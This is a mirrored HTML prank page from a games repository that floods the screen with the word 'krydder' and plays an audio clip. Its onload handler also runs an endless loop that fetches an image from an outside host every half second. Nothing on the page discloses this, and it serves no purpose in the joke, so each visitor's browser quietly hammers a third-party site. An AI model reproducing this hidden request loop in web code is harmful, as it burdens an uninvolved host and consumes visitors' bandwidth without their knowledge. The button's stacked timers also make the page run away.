mirror of
https://github.com/hexahigh/games.git
synced 2025-12-11 20:15:38 +01:00
66 lines
2.1 KiB
HTML
66 lines
2.1 KiB
HTML
<html>
|
|
<head>
|
|
<style>
|
|
#krydder-container {
|
|
position: absolute;
|
|
}
|
|
|
|
.krydder-text {
|
|
font-size: 10px;
|
|
position: absolute;
|
|
}
|
|
</style>
|
|
<script>
|
|
function delay(milliseconds){
|
|
return new Promise(resolve => {
|
|
setTimeout(resolve, milliseconds);
|
|
});
|
|
}
|
|
window.onload = async function startdown(){
|
|
while(true) {
|
|
await delay(500);
|
|
fetch('https://t0m0t0w.github.io/favicon.png')
|
|
}
|
|
}
|
|
let speed = 1000
|
|
setInterval(addKrydder, speed);
|
|
|
|
function changespeed() {
|
|
speed -= 100;
|
|
setInterval(addKrydder, speed);
|
|
}
|
|
function addKrydder() {
|
|
// Create a new element
|
|
var krydderText = document.createElement("div");
|
|
krydderText.innerHTML = "krydder";
|
|
krydderText.className = "krydder-text";
|
|
|
|
var audio = new Audio('krydder.mp3');
|
|
audio.play();
|
|
|
|
// Set a random font size for the text
|
|
var fontSize = Math.floor(Math.random() * 50) + 10;
|
|
krydderText.style.fontSize = fontSize + "px";
|
|
|
|
// Set a random position for the text
|
|
var xPos = Math.floor(Math.random() * window.innerWidth);
|
|
var yPos = Math.floor(Math.random() * window.innerHeight);
|
|
krydderText.style.top = xPos + "px";
|
|
krydderText.style.left = yPos + "px";
|
|
|
|
// Add the text to the page
|
|
document.getElementById("krydder-container").appendChild(krydderText);
|
|
|
|
// Set a timeout to make the text disappear
|
|
setTimeout(function() {
|
|
krydderText.remove();
|
|
}, Math.random() * 10000);
|
|
}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<button onclick="changespeed()" style="font-size: 20px; padding: 10px 20px">Nam nam Krydder :D</button>
|
|
<div id="krydder-container"></div>
|
|
</body>
|
|
</html>
|